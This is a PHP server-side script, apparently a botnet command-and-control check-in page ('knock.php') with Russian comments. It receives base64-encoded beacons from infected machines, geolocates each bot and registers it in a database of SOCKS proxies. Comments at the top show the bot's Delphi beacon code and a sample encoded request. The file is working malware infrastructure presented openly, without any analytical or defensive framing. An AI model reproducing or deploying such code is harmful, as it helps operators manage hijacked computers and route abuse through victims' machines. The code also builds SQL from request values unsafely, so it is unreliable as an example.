php SendString PChar ip LpIp uptime IntToStr UpTime download IntToStr

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
// SendString := PChar('&ip='+ LpIp + '&uptime=' + IntToStr(P.UpTime) + '&download=' + IntToStr(P.DownLink) + '&uplink=' + IntToStr(P.UpLink) + '&id=' + PChar(P.ID) + '&comment=' + P.Comment + '&downloadlink=' + P.Link + '&downloadstatus=' + IntToStr(0));
// SendString:=PChar('wwww.site.com' +'\knock.php?data=' + SendString);
// Передаваемые ботом параметры:
// data
// ip
// uptime
// download
// uplink
// id
// comment
// downloadlink
// downloadstatus
// Пример запроса: /knock.php?data=&ip=&uptime=&download=&uplink=&id=&comment=&downloadlink=&downloadstatus=
// Пример шифрованного запроса: /knock.php?data=aXA9MTIzLjEyMy4zNC4zNCZ1cHRpbWU9MTMyJmRvd25sb2FkPTM0JnVwbGluaz0zNSZpZD00NTQ1NDY2NDY0JmNvbW1lbnQ9bXdhaGFoYSZkb3dubG9hZGxpbms9JmRvd25sb2Fkc3RhdHVzPQ==
// Проверка на присутствие параметров
error_reporting(0);
// DB
include('db_config.php');
// Определение IP
$ip = $_GET['ip'];
// $ip=( !empty($_SERVER['REMOTE_ADDR']) ) ? $_SERVER['REMOTE_ADDR'] : ( ( !empty($_ENV['REMOTE_ADDR']) ) ? $_ENV['REMOTE_ADDR'] : $REMOTE_ADDR );
// Получаем зашифрованный параметр
$data=$_GET['data'];
$decoded_data=base64_decode($data);
$get_array=explode("&",$decoded_data);
//$ip=$get_array[0];
$uptime=str_replace("uptime=","",$get_array[0]);
$uplink=str_replace("uplink=","",$get_array[3]);
$bot_id=str_replace("id=","",$get_array[4]);
$downloadlink=str_replace("downloadlink=","",$get_array[7]);
// =======================================
// Определение страны и города по MaxMind
// =======================================
include("geoipcity.inc");
include("geoipregionvars.php");
$gi = geoip_open("GeoLiteCity.dat",GEOIP_STANDARD);
$record = geoip_record_by_addr($gi,$ip);
$country = $record->country_name;
$city = $record->city;
// =======================================
// Определение страны и города по CNGeoIP
// =======================================
//include 'cngeoip.php';
//$geo_array=cngeoip_lookup_ip($ip);
//$country=$geo_array[8];
//$city=$geo_array[1];
//echo $country;
//echo $city;
//Проверяем, есть ли бот в базе
$id=addslashes($_GET['id']);
$result = mysql_query("SELECT * FROM socks WHERE bot_id='$id'");
$num_rows = mysql_num_rows($result);
// Если нет
if ($num_rows==0)
{
// Определяем тип сокса
$type='';
// Пишем в базу
$result = mysql_query("INSERT INTO socks VALUES('','$id','$ip','$port','$uplink','$downloadlink','$uptime','$country','$city','$state','$city','$zip')");
}
//Если есть
else
{
$result = mysql_query("UPDATE socks SET uptime='$uptime' WHERE bot_id='$id'");
}
$nums = mysql_num_rows($result);
?>